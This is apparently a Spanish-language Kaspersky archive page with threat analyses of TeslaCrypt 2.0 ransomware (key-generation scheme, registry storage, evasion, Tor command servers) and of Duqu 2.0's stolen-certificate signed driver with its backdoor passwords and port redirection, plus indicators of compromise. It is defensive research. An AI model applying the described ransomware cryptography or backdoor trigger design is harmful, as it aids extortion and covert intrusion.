%APPDATA%\Roaming\FlashUtil.exe
%APPDATA%\Roaming\Acer\LiveUpdater.exe
%APPDATA%\Roaming\Realtek\RtlUpd.exe
%ProgramData%\Realtek\RtlUpd.exe
%APPDATA%\Roaming\sqlite3.dll (UPX packed)
%WINDIR%\winsession.dll
%APPDATA%\appdata\local\temp\teamviewer\version9\update.exe
%SYSTEMROOT%\temp\_dbg.tmp
%SYSTEMROOT%\temp\ok.tmp
C:\windows\temp\debug.txt
C:\windows\syswow64\mshtaex.exe
%SYSROOT%\System32\mshtaex.exe
%SYSROOT%\System32\wdigestEx.dll
%SYSROOT%\System32\dpcore16t.dll
%SYSROOT%\System32\iastor32.exe
%SYSROOT%\System32\mspool.dll
%SYSROOT%\System32\msvcse.exe
%SYSROOT%\System32\mspool.exe
C:\Program Files (x86)\LNVSuite\LnrAuth.dll
C:\Program Files (x86)\LNVSuite\LnrAuthSvc.dll
C:\Program Files (x86)\LNVSuite\LnrUpdt.exe
C:\Program Files (x86)\LNVSuite\LnrUpdtP.exe
DF39527~.tmp

Canalizaciones con nombre:

\\.\pipe\winsession
\\.\pipe\lsassw

Eventos y exclusiones mutuas:

Global\LnrRTPDispatchEvents
_Winlogon_TCP_Service

TeslaCrypt 2.0 se disfraza de CryptoWall


  Fedor Sinitsyn       14 julio 2015 | 14:00  MSK

Comentar  

Contenido

La familia de programas cifradores-extorsionadores TeslaCrypt es una amenaza relativamente nueva. Sus primeros ejemplares se detectaron en febrero de 2015. Desde entonces este programa malicioso ha resonado en los medios de comunicación masiva como el “terror” de los jugadores de juegos informáticos, ya que lanza ataques selectivos contra los tipos de archivos relacionados con éstos (de almacenamiento, perfiles de usuario, etc.). Los blancos del troyano eran los habitantes de EE.UU. Alemania, España y otros países; en Rusia se detectaron solo unas decenas de intentos de infección.

TeslaCrypt todavía se encuentra en su fase de desarrollo activo: en los meses pasados han cambiado su diseño gráfico, que muestra a la víctima un nombre (el programa malicioso se disfraza de CryptoLocker, toma el nombre de TeslaCrypt y AlphaCrypt), las extensiones de los archivos cifrados (.ecc, .ezz, .exx), y los detalles de su ejecución.

Hace poco, Kaspersky Lab detectó una novísima versión del troyano, TeslaCrypt 2.0. Esta versión se diferencia de sus predecesores por tener un esquema criptográfico sustancialmente mejorado, gracias al que en este momento no se pueden descifrar los archivos cifrados por TeslaCrypt y por haber dejado de lado el GUI para reemplazarlo por una página HTML, copiada de otro troyano llamado Cryptowall.

Los productos de Kaspersky Lab detectan a los representantes de la familia TeslaCrypt como Trojan-Ransom.Win32.Bitman. La versión más nueva del troyano, que analizaremos en este artículo se detecta como Trojan-Ransom.Win32.Bitman.tk y su hash MD5 es: 1dd542bf3c1781df9a335f74eacc82a4

Evolución de la amenaza

Cada muestra de TeslaCrypt contiene el número de versión interno del programa malicioso. La primera versión que detectamos tenía el número 0.2.5 y su interfaz gráfico, incluyendo el título de la ventana, lo habían tomado de otro programa cifrador-extorsionador, CryptoLocker.

TeslaCrypt 0.2.5

Pero ya en la versión 0.4.0 los creadores de TeslaCrypt modificaron toda la apariencia externa del programa malicioso.

TeslaCrypt 0.4.0

Pero, independientemente de la versión, siguen intactos los siguientes rasgos de la familia:

  • El troyano genera por sí mismo una dirección única de Bitcoin y una llave secreta para ésta. La dirección se usa como ID para la víctima y para recibir el pago.
  • Para cifrar los archivos se aplica el algoritmo AES-256-CBC. Todos los archivos se cifran con una sola llave.
  • No se cifran los archivos mayores a 0x10000000 (~268 MB).
  • Los servidores de administración están ubicados en la red Tor y la comunicación con ellos se realiza mediante los servicios de tor2web.
  • Entre los archivos cifrados hay muchas extensiones de archivos de juegos de computadoras.
  • El troyano borra las copias shadow.
  • A pesar de que se intenta intimidar a la víctima con el protocolo RSA-2048, este algoritmo no se usa de ninguna manera en el código.
  • El troyano está escrito en C++, habilitado mediante un compilador de Microsoft y la realización de los algoritmos de cifrado se toma de la biblioteca OpenSSL.

Hechos dignos de interés

  • Las primeras versiones de TeslaCrypt (0.2.5 - 0.3.x) comprobaban en el sitio http://blockchain.info si se había realizado el pago de bitcoin, y si la respuesta era positiva, informaban a su servidor de administración y recibían la clave para descifrar los archivos. Este esquema era vulnerable, ya que cualquier especialista podía enviar por su cuenta una solicitud al servidor de administración y recibir la llave sin hacer ningún pago.
  • Las versiones 0.2.5 - 0.3 guardaban la llave de descifrado (junto con otros datos) en un archivo propio llamado key.dat. El sector de la llave de este archivo se borraba (reemplazando los valores por ceros) sólo después de que se terminase el cifrado, lo que daba la posibilidad de conservar la llave interrumpiendo el funcionamiento del cifrador (por ejemplo, apagando el PC). Más adelante se podía extraer la llave del archivo key.dat y descifrar todos los archivos.
  • En la versión 0.4.0 el archivo key.dat había cambiado de nombre a storage.bin y la llave de descifrado no se guardaba de forma abierta, sino cifrada según el módulo de orden de la curva elíptica estándar secp256k1. Una vez terminado el cifrado, no se borraba la llave reemplazando sus valores con ceros, sino con bites aleatorios, pero a pesar de esto, mientras este sector no estuviese borrado, era posible extraer la llave con nuestro utilitario RakhniDecryptor.

El día de hoy

Hace poco nos llamó la atención una muestra de este troyano que tenía el número de versión interno 2.0.0. ¿Qué ha cambiado esta vez?

Lo primero que salta a la vista es que de TeslaCrypt ha desaparecido el código de visualización del GUI (la ventana de la aplicación). En su lugar, después de terminar el cifrado, el troyano muestra en el navegador una página HTML copiada en su totalidad de otro extorsionador de amplia fama, CryptoWall 3.0.

La página que se abre al seguir los enlaces que se proponen a la víctima también son idénticos a la página de pago de CryptoWall, pero por supuesto las URL llevan al servidor de TeslaCrypt, porque es evidente que los autores de este programa malicioso no quieren que el dinero de las víctimas llegue a sus competidores.

TeslaCrypt rellena el renglón con un texto referente a CryptoWall

Pero ¿para qué sirve este disfraz? Aquí sólo podemos hacer conjeturas. Es posible que los delincuentes hayan querido de esta manera convencer a la víctima de que la situación es muy seria. Porque los archivos cifrados por CryptoWall hasta ahora son imposibles de descifrar, a diferencia de muchos casos de infección causada por TeslaCrypt.

En cualquier caso, este no es el único cambio de la nueva versión de TeslaCrypt. Una vez más se optimizó el esquema criptográfico, que ahora es mucho más sofisticado. Para generar las llaves se usa el algoritmo ECDH (los delincuentes introdujeron su uso en las versiones 0.3.x), pero a diferencia de las versiones anteriores, en esta parece más en su sitio, ya que sirve para determinado objetivo: dar a los delincuentes la posibilidad de descifrar los archivos usando sólo una “llave maestra”. Pero contaremos todo en orden.

Esquema criptográfico TeslaCrypt 2.0

Generación de datos de la llave

El troyano usa dos juegos de llaves: las “llaves maestras” que son únicas en el sistema infectado y las “llaves de sesión” que se generan cada vez que se reinicia el programa malicioso en el sistema.

Generación de las llaves maestras

Supongamos que Q es una curva elíptica estándar secp256k1 («SECG curve over a 256 bit prime field») y G un elemento formador del subgrupo cíclico de puntos en la curva.

Supongamos que malware_pub es la llave abierta de los delincuentes contenida en el cuerpo del troyano (es un punto en la curva Q y se guarda en forma de coordenadas x, y separadas).

Al infectar el sistema el troyano genera:

  • install_id, el identificador de infección, 8 bytes al azar.
  • master_btc_priv, llave maestra secreta, 32 bytes al azar, se envía al servidor de administración.
  • master_btc_pub = master_btc_priv * G (punto en la curva), llave maestra abierta que se guarda en los archivos cifrados.
  • btc_address, dirección bitcoin para recibir el rescate, se genera según el algoritmo estándar de bitcoin basándose en master_btc_pub.
  • master_ecdh_secret = ECDH(malware_pub, master_btc_priv), "llave maestra común”, necesaria para descifrar si master_btc_priv se perdió o no llegó al servidor de administración, en este formato no se guarda en ninguna parte.
  • master_ecdh_secret_mul = master_ecdh_secret * master_btc_priv, cifra que permite recuperar master_ecdh_secret_mul, se guarda en el sistema.

Notas

master_btc_priv (según el principio de funcionamiento de bitcoin) es una llave secreta necesaria para “sacar” los bitcoins enviados a la dirección btc_address recién creada.

Generación de llaves de sesión

Cada vez que se inicia (durante la primera infección, o por ejemplo, después de reiniciarse el PC), el troyano genera de nuevo:

  • session_priv – una llave de sesión secreta, 32 bytes al azar. Se usa para cifrar los archivos y no se guarda en ninguna parte.
  • session_pub = session_priv * G, llave de sesión abierta. Se guarda en los archivos cifrados.
  • session_ecdh_secret = ECDH(master_btc_pub, session_priv), “llave maestra de sesión”, necesaria para descifrar los archivos, en este formato no se guarda en ningún lugar.
  • session_ecdh_secret_mul = session_ecdh_secret * session_priv , cifra que permite recuperar session_ecdh_secret. Se guarda en los archivos cifrados.

Datos de las llaves que se guardan en el sistema

A diferencia de sus anteriores versiones, TeslaCrypt 2.0.0 no usa ni key.dat ni storage.bin para guardar datos. En vez de estos archivos, se usa el registro: en HKCU\Software\msys\ID se guarda el valor install_id, y en HKCU\Software\<install_id>\data se pone la siguiente estructura:

En la sintaxis común del lenguaje C, la estructura se puede describir de la siguiente forma:

Y así es como luce en el sistema infectado:

Cifrado de los archivos

TeslaCrypt, empezando desde la versión 0.3.5, infecta tanto las memorias comunes conectadas al sistema, como todos los recursos de red compartidos (shares), incluso si no están montados como discos con letras asignadas. Y ya que lo mencionamos, son pocos los cifradores que pueden presumir de tener esta función.

Cada archivo se cifra usando el algoritmo AES-256-CBC con la llave session_priv. El archivo cifrado recibe la extensión adicional “.zzz”. Al principio del fichero se coloca la estructura de servicio y después el contenido cifrado. El formato de la estructura es el siguiente:

La misma estructura en la sintaxis del lenguaje C:

Descifrado de los archivos

Los autores de TeslaCrypt 2.0.0 quitaron totalmente del programa malicioso la función de descifrado de archivos, que estaba presente en las versiones anteriores. Partiendo del análisis del esquema criptográfico descrito más arriba, vemos los siguientes algoritmos de descifrado de los archivos.

  1. Si se conoce master_btc_priv, es necesario:

    • Leer session_pub del archivo cifrado;
    • Calcular session_ecdh_secret = ECDH(session_pub, master_btc_priv);
    • Leer del archivo cifrado session_ecdh_secret_mul;
    • Calcular session_priv = session_ecdh_secret_mul / session_ecdh_secret;
    • Descifrar el archivo con la llave session_priv.
  2. Si master_btc_priv está ausente, pero se conoce malware_priv (y sólo lo conocen los delincuentes que han puesto en el cuerpo del troyano el malware_pub correspondiente):

    • Leer del registro o fichero cifrado master_btc_pub;
    • Calcular master_ecdh_secret = ECDH(master_btc_pub, malware_priv);
    • Leer master_ecdh_secret_mul del fichero cifrado;
    • Calcular master_btc_priv = master_ecdh_secret_mul / master_ecdh_secret;
    • Sabiendo el valor de master_btc_priv, seguir los pasos del punto 1.

Para tener una comprensión completa de este fenómeno, hay que familiarizarse con el algoritmo de Diffie-Hellman y su versión para curvas elípticas ECDH, por ejemplo aquí.

Otras peculiaridades

Evasión de la detección

En el troyano se usa una técnica de evasión de la detección basada en el uso de objetos COM. Nuestra compañía detectó su uso por primera vez en TeslaCrypt vesión 0.4.0, pero desde entonces ha experimentado pequeñas modificaciones. El seudocódigo generado según el ejemplo de la versión 2.0.0 tiene el siguiente aspecto:

Comunicación con el servidor de administración

En la imagen del troyano hay una lista estática de direcciones de servidores de administración. Los servidores se encuentran en la red Tor, pero la comunicación se lleva a cabo mediante la web con la ayuda de los servicios tor2web.

Antes de TeslaCrypt versión 0.4.1, las solicitudes se enviaban al servidor de forma abierta, pero en las siguientes versiones se empezaron a cifrar con el algoritmo AES-256-CBC. Como llave se toma el hash SHA256 de un renglón estático en el cuerpo del programa malicioso.

La formación de la solicitud HTTP enviada por el troyano al infectar el sistema se muestra en la captura de pantalla del seudocódigo.

Propagación

Se ha tenido noticias de que los programas maliciosos de la familia TeslaCrypt se propagaron mediante los exploits kits Angler y Sweet Orange. Cuando se usa este esquema de propagación, la víctima entra a un sitio web infectado y el código malicioso del exploit instala malware selectivo usando las vulnerabilidades del navegador (con mayor frecuencia, de sus plugins).

Distribución geográfica de los usuarios atacados por los programas maliciosos de la familia TeslaCrypt

Recomendaciones

Para proteger los datos de las acciones del cifrador, le recomendamos hacer una copia de seguridad de todos sus datos importantes. Hay que crear copias a intervalos regulares y guardarlas en medios que no estén disponibles para la escritura todo el tiempo, sino sólo durante el proceso de almacenamiento de la copia de seguridad. Por ejemplo, los usuarios particulares deben hacerlo en un disco duro externo, que hay que desconectar inmediatamente después de terminada la copia de seguridad.

Es de suma importancia actualizar a tiempo el software (sobre todo los plugins del navegador y el navegador mismo), ya que los fabricantes todo el tiempo están cerrando las vulnerabilidades detectadas y explotadas por los delincuentes.

Pero si el programa malicioso ya está en el sistema, puede detenerlo un producto antivirus moderno, con bases de datos actualizadas y módulos de protección activados. Esto último se refiere al módulo de defensa proactiva que en caso de las amenazas de día 0 se convierte en la última línea de defensa.

El módulo de persistencia de Duqu 2.0


  Global Research & Analysis Team (GReAT), Kaspersky Lab       13 julio 2015 | 11:59  MSK

Comentar  

Anteriormente explicamos por qué Duqu 2.0 no tenía un mecanismo normal de “persistencia”. Esto podría llevar a los usuarios a pensar que para deshacerse de este programa malicioso bastaría reiniciar todos los equipos infectados. Pero, en realidad, las cosas son un poco más complicadas de lo que parecen.

Los atacantes han creado un módulo poco habitual de persistencia que instalan en las redes atacadas, y que cumple una doble función, ya que también tiene un esquema oculto de comunicación con el servidor C&C. Esta persistencia a nivel organizativo se logra mediante un controlador que se instala como un servicio regular del sistema. En los sistemas 64-bit, esto implica un requisito estricto de una firma digital Authenticode. Ya hemos detectado dos de estos controladores de persistencia instalados en el transcurso de los ataques.

Durante sus operaciones, los actores de Duqu instalaron estos controladores maliciosos en cortafuegos, pasarelas y en aquellos servidores que tienen acceso directo a Internet, por un lado, y a la red corporativa, por otro. Estos controladores permiten cumplir varios objetivos al mismo tiempo: acceder a la infraestructura interna desde Internet, evitar entradas en los registros de los servidores proxy corporativos y, a pesar de todo, mantener alguna forma de persistencia.

Esencialmente, los controladores redirigen los flujos en la red hacia y desde el equipo pasarela que los ejecuta. Para renviar conexiones, el atacante primero debe pasar un mecanismo de “llamada” de red que está protegido por una contraseña. Hasta ahora hemos observado dos contraseñas diferentes en las muestras recopiladas: “romanian.antihacker” y “ugly.gorilla”.

Hemos descrito uno de estos controladores en nuestro documento sobre Duqu 2.0 (sección “The ”portserv.sys” driver analysis”). Revisemos algunos de los detalles más importantes: El controlador escucha la red y espera una contraseña especial (“romanian.antihacker” en ese caso). Después, guarda la IP del host que pasó la contraseña correcta y comienza a redirigir todos los paquetes del puerto 443 al puerto 445 (SMB) o 3389 (Escritorio Remoto) de ese servidor. En efecto, esto les permite a los atacantes canalizar el SMB (es decir, el acceso remoto al sistema de archivos) y el Escritorio Remoto a través del servidor pasarela, haciéndolos pasar como tráfico HTTPS (puerto 443).

Además del controlador “romanian.antihacker”, hemos descubierto otro que hace un trabajo similar, pero que admite más conexiones de una forma más genérica:


  1. Cuando el controlador reconoce la contraseña “ugly.gorilla1”, todo el tráfico desde la IP de los atacantes se redirige desde el puerto 443 (HTTPS) al 445 (SMB).
  2. Cuando el controlador reconoce la contraseña “ugly.gorilla2”, todo el tráfico desde la IP de los atacantes se redirige desde el puerto 443 (HTTPS) al 3389 (RDP).
  3. Cuando el controlador reconoce la contraseña “ugly.gorilla3”, todo el tráfico desde la IP de los atacantes se redirige desde el puerto 443 (HTTPS) al 135 (RPC).
  4. Cuando el controlador reconoce la contraseña “ugly.gorilla4”, todo el tráfico desde la IP de los atacantes se redirige desde el puerto 443 (HTTPS) al 139 (NETBIOS).
  5. Cuando el controlador reconoce la contraseña “ugly.gorilla5”, todo el tráfico desde la IP de los atacantes se redirige desde el puerto 1723 (PPTP) al 445 (SMB).
  6. Cuando el controlador reconoce la contraseña “ugly.gorilla6”, todo el tráfico desde la IP de los atacantes se redirige desde el puerto 443 (HTTPS) al 47012 (por ahora desconocido).

Queremos remarcar que uno de los puertos nos parece bastante sospechoso: el 47012. Por el momento, no hemos observado que otros componentes de Duqu 2.0, ni otros programas maliciosos, puertas traseras, o software comunes usen este puerto (también según SANS). Sin embargo, el hecho de que este número de puerto estaba incrustado en el programa malicioso podría ser una sólida señal de infección para Duqu 2.0.

Parte del programa malicioso con cadena de contraseñas

Este controlador de 64-bit contiene un nombre DLL interno, “termport.sys”, mientras que el nombre de archivo en el sistema de archivos era “portserv.sys”. Esto muy probablemente significa que los atacantes cambian los nombres de archivo para diferentes operativos, por lo que la detección de este ataque no debería depender únicamente de los nombres de archivo. Esta marca de tiempo de la compilación parece falsa: “Jul 23 18:14:28 2004”. Todos los archivos del controlador descubiertos se encontraban en “C:\Windows\System32\drivers\”.

Quizás la parte más importante de esta estrategia de ataque sea la firma digital que utiliza el driver 64-bit. Puesto que se trata de un requisito obligatorio en los sistemas Windows 64-bit, el controlador tenía una firma digital válida. Estaba firmada por “HON HAI PRECISION INDUSTRY CO. LTD.” (también conocido como “Foxconn Technology Group”, uno de los principales fabricantes electrónicos del mundo).

Firma digital en el controlador de los atacantes

Según la información del controlador, fue firmado a las 20:31 el 19.02.2015. Abajo ofrecemos más detalles provistos por la utilidad Sigcheck de SysInternal:


Verificado: Firmado

Fecha de firma: 20:31 19.02.2015

Publicador: HON HAI PRECISION INDUSTRY CO. LTD.

Descripción: Optimizador de puerto para Servidor Terminal

Producto: Sistema operativo Microsoft Windows

Versión del producto: 6.1.7601

Versión del archivo: 6.1.7601 compilado por: WinDDK

Tipo de equipo: 64-bit

MD5: 92E724291056A5E30ECA038EE637A23F

SHA1: 478C076749BEF74EAF9BED4AF917AEE228620B23

PESHA1: F8457AFBD6967FFAE71A72AA44BC3C3A134103D8

PE256: 2891059613156734067A1EF52C01731A1BCFB9C50E817F3CA813C19114BFA556

SHA256: BC4AE56434B45818F57724F4CD19354A13E5964FD097D1933A30E2E31C9BDFA5

Según Wikipedia, “Foxconn Technology Group” es el mayor fabricante de componentes electrónicos a nivel mundial, cuya sede se encuentra en Tucheng, Nuevo Taipéi, Taiwán.

Los principales clientes de Foxconn incluyen o incluyeron algunas de las compañías más grandes del mundo:


  • Acer Inc.

  • Amazon.com

  • Apple Inc.

  • BlackBerry Ltd.

  • Cisco

  • Dell

  • Google

  • Hewlett-Packard

  • Huawei

  • Microsoft

  • Motorola Mobility

  • Nintendo

  • Nokia

  • Sony

  • Toshiba

  • Xiaomi

  • Vizio

Foxconn fabrica una serie de productos conocidos (https://es.wikipedia.org/wiki/Foxconn), como BlackBerry, iPad, iPhone, Kindle, PlayStation 4, Xbox One y Wii U.

El fabricante usó el mismo certificado para firmar varios controladores WatchDog Timer Kernel (WDTKernel.sys) para ordenadores portátiles Dell, en febrero de 2013.

Conclusiones

Durante nuestra anterior investigación sobre Stuxnet y Duqu, observamos programas maliciosos con firmas digitales (usaban certificados maliciosos Jmicron y Realtek). El robo de certificados digitales y la firma de programas digitales en nombre de compañías legítimas parece ser un ardid normal para los atacantes de Duqu. No tenemos ninguna confirmación de que alguno de estos fabricantes haya sido infectado, pero nuestros indicadores definitivamente muestran que los atacantes de Duqu concentran su interés en fabricantes de hardware, como Foxconn, Realtek y Jmicron. Esto quedó confirmado en los ataques de 2014/2015, cuando observamos infecciones que afectaron a fabricantes de hardware del área Asia-Pacífico, incluyendo a los fabricantes de equipos informáticos ICS y SCADA.

Otra observación interesante es que aparte de estos controladores de Duqu, no hemos detectado ningún otro programa malicioso firmado con los mismos certificados. Esto descarta la posibilidad de una filtración de certificados y de que estén en manos de otros grupos. También parece indicar que los atacantes de Duqu son los únicos que tienen acceso a estos certificados, lo que refuerza la teoría de que hackearon a los fabricantes de hardware para obtener dichos certificados.

Por último, resulta interesante que los atacantes de Duqu sean lo suficientemente cuidadosos como para no repetir el uso del mismo certificado digital. Esto es algo que hemos visto con Duqu desde 2011 y 2015. Si eso es cierto, entonces significa que los atacantes pueden tener en sus manos suficientes certificados digitales robados de otros fabricantes, y que podrían usarlos en su próximo ataque dirigido. Esto sería en extremo alarmante, ya que debilita la reputación de los certificados digitales.

Se ha informado tanto a Verisign como a HON HAI sobre el certificado utilizado para firmar el programa malicioso Duqu 2.0.

IOC

Muestra MD5 (portserv.sys): 92e724291056a5e30eca038ee637a23f

Número de serie del certificado Foxconn utilizado por los atacantes de Duqu:

‎25 65 41 e2 04 61 90 33 f8 b0 9f 9e b7 c8 8e f8

Certificado completo del controlador malicioso:

—–BEGIN CERTIFICATE—–

MIIFmTCCBIGgAwIBAgIQJWVB4gRhkDP4sJ+et8iO+DANBgkqhkiG9w0BAQUFADCB

tDELMAkGA1UEBhMCVVMxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMR8wHQYDVQQL

ExZWZXJpU2lnbiBUcnVzdCBOZXR3b3JrMTswOQYDVQQLEzJUZXJtcyBvZiB1c2Ug

YXQgaHR0cHM6Ly93d3cudmVyaXNpZ24uY29tL3JwYSAoYykxMDEuMCwGA1UEAxMl

VmVyaVNpZ24gQ2xhc3MgMyBDb2RlIFNpZ25pbmcgMjAxMCBDQTAeFw0xMjA4MjUw

MDAwMDBaFw0xNTA4MjUyMzU5NTlaMIHcMQswCQYDVQQGEwJUVzEPMA0GA1UECBMG

VEFJV0FOMREwDwYDVQQHEwhUVS1DSEVORzEsMCoGA1UEChQjSE9OIEhBSSBQUkVD

SVNJT04gSU5EVVNUUlkgQ08uIExURC4xPjA8BgNVBAsTNURpZ2l0YWwgSUQgQ2xh

c3MgMyAtIE1pY3Jvc29mdCBTb2Z0d2FyZSBWYWxpZGF0aW9uIHYyMQ0wCwYDVQQL

FARQQ0VHMSwwKgYDVQQDFCNIT04gSEFJIFBSRUNJU0lPTiBJTkRVU1RSWSBDTy4g

TFRELjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALzM40T355R4ov9F

OcwiBpBwRk5047T5PxoabBPGyhqjqVyTJ3vxYWunUsGJpq2myS7uPmDkPXc+qExE

SRBIgruiGpazeqXsP7EfEr8BRU4iVvKmD//m5uZvqEAsz6FzJ/PMlfiZponm5PLa

hcIM9AtqdhqDek7taoAaPUbYjY2wgan8+jaNWo0BzmvimN74AC5N0aZgTFBvIRux

Ev2EO1x4Ypz3UqFwMTHHdexJqM19W20mmbpjGfoxkfl4yUuUg5O4tdgTbZVF9mui

rWpVCuGcB1iUpUxTCoidGfx1ROkzYgLV7XLt50Iir0btqM4tshG4GJUhAX+rEy+r

sr5gFnUCAwEAAaOCAXswggF3MAkGA1UdEwQCMAAwDgYDVR0PAQH/BAQDAgeAMEAG

A1UdHwQ5MDcwNaAzoDGGL2h0dHA6Ly9jc2MzLTIwMTAtY3JsLnZlcmlzaWduLmNv

bS9DU0MzLTIwMTAuY3JsMEQGA1UdIAQ9MDswOQYLYIZIAYb4RQEHFwMwKjAoBggr

BgEFBQcCARYcaHR0cHM6Ly93d3cudmVyaXNpZ24uY29tL3JwYTATBgNVHSUEDDAK

BggrBgEFBQcDAzBxBggrBgEFBQcBAQRlMGMwJAYIKwYBBQUHMAGGGGh0dHA6Ly9v

Y3NwLnZlcmlzaWduLmNvbTA7BggrBgEFBQcwAoYvaHR0cDovL2NzYzMtMjAxMC1h

aWEudmVyaXNpZ24uY29tL0NTQzMtMjAxMC5jZXIwHwYDVR0jBBgwFoAUz5mp6nsm

9EvJjo/X8AUm7+PSp50wEQYJYIZIAYb4QgEBBAQDAgQQMBYGCisGAQQBgjcCARsE

CDAGAQEAAQH/MA0GCSqGSIb3DQEBBQUAA4IBAQA9niTkOi3raLWjtQBJK3br8RDS

X+6NtHj/OhSuFzVsJcmhvaf4DIhJ00ghScXcZZycod/7kYN9NBIrTMqlB5GsOuWI

/TPk9HoIvEoVEoliuEBwDiHbIidaLKcS3sPqgV0WNx46JYmCI/++KMCZ7zfDSlZb

213OpauHuQj7tUIKGlEKq7qIvGaR+EUcxpgVR/AxuxTtjUWaSItCM2vMGKUMDNXH

rN+2IYeHsnMqe68RoIRLlq3BPQkA+JcpjjV2Td5Q4Y2xj7E558EQ4utYduwCv+kq

OQgeV4KumDaoN9Y7+e79jWzoIkKM4IxQ8u1jfxGuG35l9k7seksYOwdM1dN5

—–END CERTIFICATE—–

Page Top  |  Archivo >>

 

Copyright © 1996 - 2015
Kaspersky Lab
Todos los derechos reservados

Correo electrónico: webmaster@viruslist.com